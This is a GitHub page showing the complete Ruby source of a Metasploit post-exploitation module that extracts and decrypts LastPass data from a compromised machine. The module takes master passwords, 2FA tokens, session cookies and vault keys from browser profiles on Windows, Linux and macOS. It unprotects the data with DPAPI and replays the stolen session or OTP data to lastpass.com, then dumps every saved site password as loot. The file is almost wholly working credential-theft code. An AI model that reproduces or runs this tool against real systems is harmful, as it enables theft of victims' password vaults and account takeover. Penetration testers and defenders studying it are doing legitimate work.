Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/post/multi/gather/lastpass_creds.rb
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
830 lines (731 sloc)
34.4 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
require 'English' | |
require 'sqlite3' | |
require 'uri' | |
class MetasploitModule < Msf::Post | |
include Msf::Post::File | |
include Msf::Post::Windows::UserProfiles | |
include Msf::Post::OSX::System | |
include Msf::Post::Unix | |
def initialize(info = {}) | |
super( | |
update_info( | |
info, | |
'Name' => 'LastPass Vault Decryptor', | |
'Description' => %q{ | |
This module extracts and decrypts LastPass master login accounts and passwords, | |
encryption keys, 2FA tokens and all the vault passwords | |
}, | |
'License' => MSF_LICENSE, | |
'Author' => [ | |
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research | |
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research | |
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup | |
], | |
'Platform' => %w[linux osx unix win], | |
'References' => [ | |
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ] | |
], | |
'SessionTypes' => %w[meterpreter shell], | |
'Compat' => { | |
'Meterpreter' => { | |
'Commands' => %w[ | |
stdapi_railgun_api | |
stdapi_registry_open_key | |
stdapi_sys_process_attach | |
stdapi_sys_process_get_processes | |
stdapi_sys_process_getpid | |
stdapi_sys_process_memory_allocate | |
stdapi_sys_process_memory_read | |
stdapi_sys_process_memory_write | |
] | |
} | |
} | |
) | |
) | |
end | |
def run | |
if session.platform == 'windows' && session.type == 'shell' # No Windows shell support | |
print_error 'Shell sessions on Windows are not supported' | |
return | |
end | |
print_status 'Searching for LastPass databases' | |
account_map = build_account_map | |
if account_map.empty? | |
print_status 'No databases found' | |
return | |
end | |
print_status 'Extracting credentials' | |
extract_credentials(account_map) | |
print_status 'Extracting 2FA tokens' | |
extract_2fa_tokens(account_map) | |
print_status 'Extracting vault and iterations' | |
extract_vault_and_iterations(account_map) | |
print_status 'Extracting encryption keys' | |
extract_vault_keys(account_map) | |
print_lastpass_data(account_map) | |
end | |
# Returns a mapping of lastpass accounts | |
def build_account_map | |
profiles = user_profiles | |
account_map = {} | |
profiles.each do |user_profile| | |
account = user_profile['UserName'] | |
browser_path_map = {} | |
localstorage_path_map = {} | |
cookies_path_map = {} | |
case session.platform | |
when 'windows' | |
browser_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", | |
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", | |
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", | |
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" | |
} | |
localstorage_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", | |
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass", | |
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass", | |
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" | |
} | |
cookies_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies", | |
'Firefox' => '', # It's set programmatically | |
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low", | |
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies" | |
} | |
when 'unix', 'linux' | |
browser_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", | |
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", | |
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" | |
} | |
localstorage_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", | |
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", | |
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" | |
} | |
cookies_path_map = { # TODO | |
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies", | |
'Firefox' => '', # It's set programmatically | |
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies" | |
} | |
when 'osx' | |
browser_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", | |
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles", | |
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0", | |
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" | |
} | |
localstorage_path_map = { | |
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", | |
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass", | |
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", | |
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" | |
} | |
cookies_path_map = { # TODO | |
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies", | |
'Firefox' => '', # It's set programmatically | |
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies", | |
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies" | |
} | |
else | |
print_error "Platform not recognized: #{session.platform}" | |
end | |
account_map[account] = {} | |
browser_path_map.each_pair do |browser, path| | |
account_map[account][browser] = {} | |
db_paths = find_db_paths(path, browser, account) | |
if db_paths && !db_paths.empty? | |
account_map[account][browser]['lp_db_path'] = db_paths.first | |
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) | |
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) | |
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox') | |
else | |
account_map[account].delete(browser) | |
end | |
end | |
end | |
account_map | |
end | |
# Returns a list of DB paths found in the victims' machine | |
def find_db_paths(path, browser, account) | |
paths = [] | |
vprint_status "Checking #{account}'s #{browser}" | |
if browser == 'IE' # Special case for IE | |
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') | |
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank? | |
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access) | |
elsif browser == 'Firefox' # Special case for Firefox | |
paths |= firefox_profile_files(path) | |
else | |
paths |= file_paths(path) | |
end | |
vprint_good "Found #{paths.size} #{browser} databases for #{account}" | |
paths | |
end | |
# Returns the relevant information from user profiles | |
def user_profiles | |
user_profiles = [] | |
case session.platform | |
when /unix|linux/ | |
user_names = dir('/home') | |
user_names.reject! { |u| %w[. ..].include?(u) } | |
user_names.each do |user_name| | |
user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}") | |
end | |
when /osx/ | |
user_names = session.shell_command('ls /Users').split | |
user_names.reject! { |u| u == 'Shared' } | |
user_names.each do |user_name| | |
user_profiles.push( | |
'UserName' => user_name, | |
'AppData' => "/Users/#{user_name}/Library", | |
'LocalAppData' => "/Users/#{user_name}/Library/Application Support" | |
) | |
end | |
when /windows/ | |
user_profiles |= grab_user_profiles | |
else | |
print_error "OS not recognized: #{session.platform}" | |
end | |
user_profiles | |
end | |
# Extracts the databases paths from the given folder ignoring . and .. | |
def file_paths(path) | |
found_dbs_paths = [] | |
files = [] | |
files = dir(path) if directory?(path) | |
files.each do |file_path| | |
unless %w[. .. Shared].include?(file_path) | |
found_dbs_paths.push([path, file_path].join(system_separator)) | |
end | |
end | |
found_dbs_paths | |
end | |
# Returns the profile files for Firefox | |
def firefox_profile_files(path) | |
found_dbs_paths = [] | |
if directory?(path) | |
files = dir(path) | |
files.reject! { |file| %w[. ..].include?(file) } | |
files.each do |file_path| | |
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/) | |
end | |
end | |
[found_dbs_paths] | |
end | |
# Parses the Firefox preferences file and returns encoded credentials | |
def ie_firefox_credentials(prefs_path, localstorage_db_path) | |
credentials = [] | |
data = nil | |
if prefs_path.nil? # IE | |
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') | |
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank? | |
return [] if data.blank? | |
usernames = data.split('|') | |
usernames.each do |username| | |
credentials << [username, nil] | |
end | |
# Extract master passwords | |
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws') | |
data = Rex::Text.encode_base64(data) unless data.blank? | |
else # Firefox | |
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file') | |
return [] unless loot_path | |
File.readlines(loot_path).each do |line| | |
next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line | |
usernames = encoded_users.split('|') | |
usernames.each do |username| | |
credentials << [username, nil] | |
end | |
break | |
end | |
# Extract master passwords | |
path = localstorage_db_path + system_separator + 'lp.loginpws' | |
data = read_remote_file(path) if file?(path) # Read file if it exists | |
end | |
# Get encrypted master passwords | |
data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection | |
return credentials if data.blank? # No passwords stored | |
creds_per_user = data.split('|') | |
creds_per_user.each_with_index do |user_creds, _index| | |
parts = user_creds.split('=') | |
for creds in credentials | |
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username | |
end | |
end | |
credentials | |
end | |
def decrypt_data(key, encrypted_data) | |
return nil if encrypted_data.blank? | |
if encrypted_data.include?('|') # Use CBC | |
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt | |
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and | | |
encrypted_data = encrypted_data[26..] # Take only the data part | |
else # Use ECB | |
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt | |
end | |
begin | |
decipher.key = key | |
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final | |
rescue OpenSSL::Cipher::CipherError => e | |
vprint_error "Data could not be decrypted. #{e.message}" | |
end | |
decrypted_data | |
end | |
def extract_credentials(account_map) | |
account_map.each_pair do |account, browser_map| | |
browser_map.each_pair do |browser, lp_data| | |
account_map[account][browser]['lp_creds'] = {} | |
if browser.match(/Firefox|IE/) | |
if browser == 'Firefox' | |
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db']) | |
else # IE | |
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db']) | |
end | |
unless ieffcreds.blank? | |
ieffcreds.each do |creds| | |
if creds[1].blank? # No master password found | |
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil } | |
else | |
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0])) | |
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin | |
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1])) | |
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] } | |
end | |
end | |
end | |
else # Chrome, Safari and Opera | |
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}") | |
account_map[account][browser]['lp_db_loot'] = loot_path | |
next if loot_path.blank? | |
# Parsing/Querying the DB | |
db = SQLite3::Database.new(loot_path) | |
result = db.execute( | |
'SELECT username, password FROM LastPassSavedLogins2 ' \ | |
"WHERE username IS NOT NULL AND username != '' " \ | |
) | |
for row in result | |
next unless row[0] | |
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0]) | |
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin | |
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password | |
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] } | |
end | |
end | |
end | |
end | |
end | |
# Extracts the 2FA token from localStorage | |
def extract_2fa_tokens(account_map) | |
account_map.each_pair do |account, browser_map| | |
browser_map.each_pair do |browser, lp_data| | |
if browser.match(/Firefox|IE/) | |
path = lp_data['localstorage_db'] + system_separator + 'lp.suid' | |
data = read_remote_file(path) if file?(path) # Read file if it exists | |
data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection | |
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") | |
account_map[account][browser]['lp_2fa'] = data | |
else # Chrome, Safari and Opera | |
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}") | |
unless loot_path.blank? | |
db = SQLite3::Database.new(loot_path) | |
token = db.execute( | |
'SELECT hex(value) FROM ItemTable ' \ | |
"WHERE key = 'lp.uid';" | |
).flatten | |
end | |
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*') | |
end | |
end | |
end | |
end | |
# Print all extracted LastPass data | |
def print_lastpass_data(account_map) | |
lastpass_data_table = Rex::Text::Table.new( | |
'Header' => 'LastPass Accounts', | |
'Indent' => 1, | |
'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key] | |
) | |
account_map.each_pair do |account, browser_map| | |
browser_map.each_pair do |_browser, lp_data| | |
lp_data['lp_creds'].each_pair do |username, user_data| | |
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']] | |
end | |
end | |
end | |
unless account_map.empty? | |
print_good lastpass_data_table.to_s | |
loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data') | |
print_vault_passwords(account_map) | |
end | |
end | |
def extract_vault_and_iterations(account_map) | |
account_map.each_pair do |account, browser_map| | |
browser_map.each_pair do |browser, lp_data| | |
lp_data['lp_creds'].each_pair do |username, _user_data| | |
if browser.match(/Firefox|IE/) | |
if browser == 'Firefox' | |
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr' | |
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml' | |
else # IE | |
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr' | |
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml' | |
end | |
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists | |
iterations = nil if iterations.blank? # Verify content | |
lp_data['lp_creds'][username]['iterations'] = iterations | |
# Find encrypted vault | |
vault = read_remote_file(vault_path) | |
vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection | |
vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info | |
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault") | |
lp_data['lp_creds'][username]['vault_loot'] = loot_path | |
else # Chrome, Safari and Opera | |
db = SQLite3::Database.new(lp_data['lp_db_loot']) | |
result = db.execute( | |
'SELECT data FROM LastPassData ' \ | |
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username) | |
) | |
if result.size == 1 && !result[0].blank? | |
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0] | |
lp_data['lp_creds'][username]['iterations'] = iterations | |
else | |
lp_data['lp_creds'][username]['iterations'] = 1 | |
end | |
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault") | |
lp_data['lp_creds'][username]['vault_loot'] = loot_path | |
else | |
lp_data['lp_creds'][username]['iterations'] = nil | |
lp_data['lp_creds'][username]['vault_loot'] = nil | |
end | |
end | |
end | |
end | |
end | |
end | |
def extract_vault_keys(account_map) | |
account_map.each_pair do |account, browser_map| | |
browser_map.each_pair do |browser, lp_data| | |
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie) | |
lp_data['lp_creds'].each_pair do |username, user_data| | |
if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials | |
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations']) | |
else # Get vault key decrypting the locally stored one or from the disabled OTP | |
unless browser_checked | |
decrypt_local_vault_key(account, browser_map) | |
browser_checked = true | |
end | |
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP | |
otpbin = extract_otpbin(browser, username, lp_data) | |
otpbin.blank? ? next : otpbin = otpbin[0..31] | |
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin) | |
end | |
end | |
end | |
end | |
end | |
end | |
# Decrypt the locally stored vault key | |
def decrypt_local_vault_key(account, browser_map) | |
data = nil | |
session_cookie_value = nil | |
browser_map.each_pair do |browser, lp_data| | |
if browser == 'IE' && directory?(lp_data['cookies_db']) | |
cookies_files = dir(lp_data['cookies_db']) | |
cookies_files.reject! { |u| %w[. ..].include?(u) } | |
cookies_files.each do |cookie_jar_file| | |
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file) | |
next if data.blank? | |
next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id | |
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB") | |
session_cookie_value = session_cookie_value_match | |
break | |
end | |
else | |
case browser | |
when /Chrome/ | |
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" | |
when 'Opera' | |
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'" | |
when 'Firefox' | |
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'" | |
else | |
vprint_error "Browser #{browser} not supported for cookies" | |
next | |
end | |
# Parsing/Querying the DB | |
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB") | |
next if loot_path.blank? | |
db = SQLite3::Database.new(loot_path) | |
begin | |
result = db.execute(query) | |
rescue SQLite3::SQLException => e | |
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})" | |
next | |
end | |
next if result.blank? # No session cookie found for this browser | |
session_cookie_value = result[0][0] | |
end | |
return if session_cookie_value.blank? | |
# Check if cookie value needs to be decrypted | |
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API | |
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value)) | |
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux | |
begin | |
decipher = OpenSSL::Cipher.new('AES-256-CBC') | |
decipher.decrypt | |
decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts') | |
decipher.iv = ' ' * 16 | |
session_cookie_value = session_cookie_value[3..] # Discard v10 | |
session_cookie_value = decipher.update(session_cookie_value) + decipher.final | |
rescue OpenSSL::Cipher::CipherError => e | |
print_error "Cookie could not be decrypted. #{e.message}" | |
end | |
end | |
# Use the cookie to obtain the encryption key to decrypt the vault key | |
uri = URI('https://lastpass.com/login_check.php') | |
request = Net::HTTP::Post.new(uri) | |
request.set_form_data('wxsessid' => URI.unescape(session_cookie_value), 'uuid' => browser_map['lp_2fa']) | |
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' | |
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) } | |
# Parse response | |
next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired | |
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1]) | |
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1] | |
# Get the local encrypted vault key | |
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data) | |
# Decrypt the local stored key | |
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key) | |
end | |
end | |
# Returns otp, encrypted_key | |
def extract_otpbin(browser, username, lp_data) | |
if browser.match(/Firefox|IE/) | |
if browser == 'Firefox' | |
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp' | |
else # IE | |
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp' | |
end | |
otpbin = read_remote_file(path) if file?(path) # Read file if it exists | |
otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/) | |
return otpbin | |
else # Chrome, Safari and Opera | |
db = SQLite3::Database.new(lp_data['lp_db_loot']) | |
result = db.execute( | |
'SELECT type, data FROM LastPassData ' \ | |
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username) | |
) | |
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*') | |
end | |
end | |
def derive_vault_key_from_creds(username, password, key_iteration_count) | |
if key_iteration_count == 1 | |
key = Digest::SHA256.hexdigest username + password | |
else | |
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first | |
end | |
key | |
end | |
def decrypt_vault_key_with_otp(username, otpbin) | |
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*' | |
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin) | |
decrypt_data(vault_key_decryption_key, encrypted_vault_key) | |
end | |
def retrieve_encrypted_vault_key_with_otp(username, otpbin) | |
# Derive login hash from otp | |
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash | |
# Make request to LastPass | |
uri = URI('https://lastpass.com/otp.php') | |
request = Net::HTTP::Post.new(uri) | |
request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token) | |
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8' | |
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) } | |
# Parse response | |
encrypted_vault_key = nil | |
if response.body.match(/randkey="(.*)"/) | |
encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1] | |
end | |
encrypted_vault_key | |
end | |
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary) | |
def lastpass_sha256(input) | |
output = '' | |
input = input.gsub("\r\n", "\n") | |
input.each_byte do |e| | |
if e < 128 | |
output += e.chr | |
elsif (e > 127 && e < 2048) | |
output += (e >> 6 | 192).chr | |
output += (e & 63 | 128).chr | |
else | |
output += (e >> 12 | 224).chr | |
output += (e >> 6 & 63 | 128).chr | |
end | |
end | |
OpenSSL::Digest::SHA256.hexdigest(output) | |
end | |
def pbkdf2(password, salt, iterations, key_length) | |
digest = OpenSSL::Digest.new('SHA256') | |
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*' | |
end | |
def windows_unprotect(data) | |
data = Rex::Text.decode_base64(data) | |
pid = session.sys.process.getpid | |
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) | |
mem = process.memory.allocate(data.length + 200) | |
process.memory.write(mem, data) | |
if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86' | |
addr = [mem].pack('V') | |
len = [data.length].pack('V') | |
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) | |
len, addr = ret['pDataOut'].unpack('V2') | |
else | |
addr = Rex::Text.pack_int64le(mem) | |
len = Rex::Text.pack_int64le(data.length) | |
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) | |
pData = ret['pDataOut'].unpack('VVVV') | |
len = pData[0] + (pData[1] << 32) | |
addr = pData[2] + (pData[3] << 32) | |
end | |
return '' if len == 0 | |
process.memory.read(addr, len) | |
end | |
def print_vault_passwords(account_map) | |
account_map.each_pair do |_account, browser_map| | |
browser_map.each_pair do |browser, lp_data| | |
lp_data['lp_creds'].each_pair do |username, user_data| | |
lastpass_vault_data_table = Rex::Text::Table.new( | |
'Header' => "Decrypted vault from #{username}", | |
'Indent' => 1, | |
'Columns' => %w[URL Username Password] | |
) | |
if user_data['vault_loot'].nil? # Was a vault found? | |
print_error "No vault was found for #{username}" | |
next | |
end | |
encoded_vault = File.read(user_data['vault_loot']) | |
if encoded_vault[0] == '!' # Vault is double encrypted | |
encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault) | |
if encoded_vault.blank? | |
print_error "Vault from #{username} could not be decrypted" | |
next | |
else | |
encoded_vault = encoded_vault.sub('LPB64', '') | |
end | |
end | |
# Parse vault | |
vault = Rex::Text.decode_base64(encoded_vault) | |
vault.scan(/ACCT/) do |_result| | |
chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk | |
chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk | |
account_data = parse_vault_account(chunk, user_data['vault_key']) | |
lastpass_vault_data_table << account_data if !account_data.nil? | |
end | |
next if account_map.empty? # Loot passwords | |
if lastpass_vault_data_table.rows.empty? | |
print_status('No decrypted vaults.') | |
else | |
print_good lastpass_vault_data_table.to_s | |
end | |
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}") | |
end | |
end | |
end | |
end | |
def parse_vault_account(chunk, vault_key) | |
pointer = 22 # Starting position to find data to decrypt | |
labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password'] | |
vault_data = [] | |
for label in labels | |
if chunk[pointer..pointer + 3].nil? | |
# Out of bound read | |
return nil | |
end | |
length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16) | |
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1] | |
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*') | |
decrypted_data = '' if decrypted_data.nil? | |
vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password') | |
pointer = pointer + 4 + length | |
end | |
return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes | |
end | |
def decrypt_vault_password(key, encrypted_data) | |
return nil if key.blank? || encrypted_data.blank? | |
if encrypted_data[0] == '!' # Apply CBC | |
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt | |
decipher.iv = encrypted_data[1, 16] # Discard ! | |
encrypted_data = encrypted_data[17..] | |
else # Apply ECB | |
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt | |
end | |
decipher.key = [key].pack 'H*' | |
begin | |
return decipher.update(encrypted_data) + decipher.final | |
rescue OpenSSL::Cipher::CipherError | |
vprint_error "Vault password could not be decrypted with key #{key}" | |
return nil | |
end | |
end | |
# Reads a remote file and loots it | |
def loot_file(path, data, title, type, description) | |
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file | |
return nil if data.nil? | |
loot_path = store_loot( | |
title, | |
type, | |
session, | |
data, | |
nil, | |
description | |
) | |
loot_path | |
end | |
